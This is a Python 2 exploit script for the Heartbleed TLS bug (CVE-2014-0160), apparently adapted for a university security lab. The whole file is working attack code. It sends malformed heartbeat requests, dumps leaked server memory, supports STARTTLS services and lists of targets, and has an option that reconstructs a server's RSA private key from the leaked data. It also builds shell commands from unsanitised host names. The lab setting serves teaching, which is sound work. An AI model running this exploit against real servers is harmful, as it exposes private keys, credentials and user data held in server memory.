#!/usr/bin/python # Code originally from https://gist.github.com/eelsivart/10174134 # Modified by Haichao Zhang # Last Updated: 2/12/15 # Version 1.20 # # # -added option to the payload length of the heartbeat payload # Don't forget to "chmod 775 ./attack.py" to make the code executable # Students can use eg. "./attack.py www.seedlabelgg.com -l 0x4001" to send the heartbeat request with payload length variable=0x4001 # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re import time import os from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-l', '--length', type='int', default=0x4000,dest="len", help='payload length to test (default: 0x4000)') options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output') options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file') options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file') options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen') options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.') opts, args = options.parse_args() if opts.extractkey: import base64, gmpy from pyasn1.codec.der import encoder from pyasn1.type.univ import * def hex2bin(arr): return ''.join('{:02x}'.format(x) for x in arr).decode('hex') tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} def build_client_hello(tls_ver): client_hello = [ # TLS header ( 5 bytes) 0x16, # Content type (0x16 for handshake) 0x03, tls_ver, # TLS Version 0x00, 0xdc, # Length # Handshake header 0x01, # Type (0x01 for ClientHello) 0x00, 0x00, 0xd8, # Length 0x03, tls_ver, # TLS Version # Random (32 byte) 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, 0x00, # Session ID length 0x00, 0x66, # Cipher suites length # Cipher suites (51 suites) 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87, 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b, 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f, 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e, 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02, 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08, 0x00, 0x06, 0x00, 0x03, 0x00, 0xff, 0x01, # Compression methods length 0x00, # Compression method (0x00 for NULL) 0x00, 0x49, # Extensions length # Extension: ec_point_formats 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, # Extension: elliptic_curves 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, # Extension: SessionTicket TLS 0x00, 0x23, 0x00, 0x00, # Extension: Heartbeat 0x00, 0x0f, 0x00, 0x01, 0x01 ] return client_hello def build_heartbeat(tls_ver): heartbeat = [ 0x18, # Content Type (Heartbeat) 0x03, tls_ver, # TLS version 0x00, 0x29, # Length # Payload 0x01, # Type (Request) opts.len/256, opts.len%256, # Payload length 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F ] return heartbeat if opts.rawoutfile: rawfileOUT = open(opts.rawoutfile, "a") if opts.asciioutfile: asciifileOUT = open(opts.asciioutfile, "a") if opts.extractkey: opts.donotdisplay = True def hexdump(s): pdat = '' hexd = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] if opts.hexdump: hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat) else: pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) if opts.hexdump: return hexd else: pdat = re.sub(r'([.]{50,})', '', pdat) if opts.asciioutfile: asciifileOUT.write(pdat) return pdat def rcv_tls_record(s): print 'Analyze the result....' try: tls_header = s.recv(5) if not tls_header: print 'Unexpected EOF (header)' return None,None,None typ,ver,length = struct.unpack('>BHH',tls_header) message = '' while len(message) != length: message += s.recv(length-len(message)) if not message: print 'Unexpected EOF (message)' return None,None,None if opts.verbose: print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,) return typ,ver,message except Exception as e: print "\nError Receiving Record! " + str(e) return None,None,None def hit_hb(s, targ, firstrun, supported): s.send(hex2bin(build_heartbeat(supported))) while True: typ, ver, pay = rcv_tls_record(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return '' if typ == 24: if opts.verbose: print 'Received heartbeat response...' if len(pay) > 0x29: if firstrun or opts.verbose: print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' if opts.rawoutfile: rawfileOUT.write(pay) if opts.extractkey: return pay else: return hexdump(pay) else: print 'Server processed malformed heartbeat, but did not return any extra data.' if typ == 21: print 'Received alert:' return hexdump(pay) print 'Server returned error, likely not vulnerable' return '' def conn(targ, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.settimeout(10) #time.sleep(0.2) s.connect((targ, port)) return s except Exception as e: print "Connection Error! " + str(e) return None def bleed(targ, port): try: res = '' firstrun = True print '\n##################################################################' print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times' for x in range(0, opts.num): if x > 0: firstrun = False if x == 0 and opts.extractkey: print "Attempting to extract private key from returned data..." if not os.path.exists('./hb-certs'): os.makedirs('./hb-certs') print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n' os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem') print '\nExtracting modulus from cert...\n' os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem') output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2') modulus = output.read() s = conn(targ, port) if not s: continue # send starttls command if specified as an option or if common smtp/pop3/imap ports are used if (opts.starttls) or (port in {25, 587, 110, 143, 21}): stls = False atls = False # check if smtp supports starttls/stls if port in {25, 587}: print 'SMTP Port... Checking for STARTTLS Capability...' check = s.recv(1024) s.send("EHLO someone.org\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if pop3/imap supports starttls/stls elif port in {110, 143}: print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' check = s.recv(1024) if port == 110: s.send("CAPA\n") if port == 143: s.send("CAPABILITY\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if ftp supports auth tls/starttls elif port in {21}: print 'FTP Port... Checking for AUTH TLS Capability...' check = s.recv(1024) s.send("FEAT\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "AUTH TLS" in check: opts.starttls = True atls = True print "AUTH TLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # send appropriate tls command if supported if opts.starttls: sys.stdout.flush() if stls: print 'Sending STLS Command...' s.send("STLS\n") elif atls: print 'Sending AUTH TLS Command...' s.send("AUTH TLS\n") else: print 'Sending STARTTLS Command...' s.send("STARTTLS\n") if opts.verbose: print 'Waiting for reply...' sys.stdout.flush() rcv_tls_record(s) supported = False for num,tlsver in tls_versions.items(): if firstrun: print 'Sending Client Hello for {}'.format(tlsver) s.send(hex2bin(build_client_hello(num))) if opts.verbose: print 'Waiting for Server Hello...' while True: typ,ver,message = rcv_tls_record(s) if not typ: if opts.verbose: print 'Server closed connection without sending ServerHello for {}'.format(tlsver) s.close() s = conn(targ, port) break if typ == 22 and ord(message[0]) == 0x0E: if firstrun: print 'Received Server Hello for {}'.format(tlsver) supported = True break if supported: break if not supported: print '\nError! No TLS versions supported!' print '##################################################################' return if opts.verbose: print '\nSending heartbeat request...' sys.stdout.flush() keyfound = False if opts.extractkey: res = hit_hb(s, targ, firstrun, supported) if res == '': continue keyfound = extractkey(targ, res, modulus) else: res += hit_hb(s, targ, firstrun, supported) s.close() if keyfound: sys.exit(0) else: sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num)) sys.stdout.flush() print '\n##################################################################' print return res except Exception as e: print "Error! " + str(e) print '##################################################################' print def extractkey(host, chunk, modulus): #print "\nChecking for private key...\n" n = int (modulus, 16) keysize = n.bit_length() / 16 for offset in xrange (0, len (chunk) - keysize): p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16) if gmpy.is_prime (p) and p != n and n % p == 0: if opts.verbose: print '\n\nFound prime: ' + str(p) e = 65537 q = n / p phi = (p - 1) * (q - 1) d = gmpy.invert (e, phi) dp = d % (p - 1) dq = d % (q - 1) qinv = gmpy.invert (q, p) seq = Sequence() for x in [0, n, e, d, p, q, dp, dq, qinv]: seq.setComponentByPosition (len (seq), Integer (x)) print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq)) privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a") privkeydump.write(chunk) return True else: return False def main(): print "\ndefribulator v1.20" print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)" allresults = '' # if a file is specified, loop through file if opts.filein: fileIN = open(opts.filein, "r") for line in fileIN: targetinfo = line.strip().split(":") if len(targetinfo) > 1: allresults = bleed(targetinfo[0], int(targetinfo[1])) else: allresults = bleed(targetinfo[0], opts.port) if allresults and (not opts.donotdisplay): print '%s' % (allresults) fileIN.close() else: if len(args) < 1: options.print_help() return allresults = bleed(args[0], opts.port) if allresults and (not opts.donotdisplay): print '%s' % (allresults) print if opts.rawoutfile: rawfileOUT.close() if opts.asciioutfile: asciifileOUT.close() if __name__ == '__main__': main()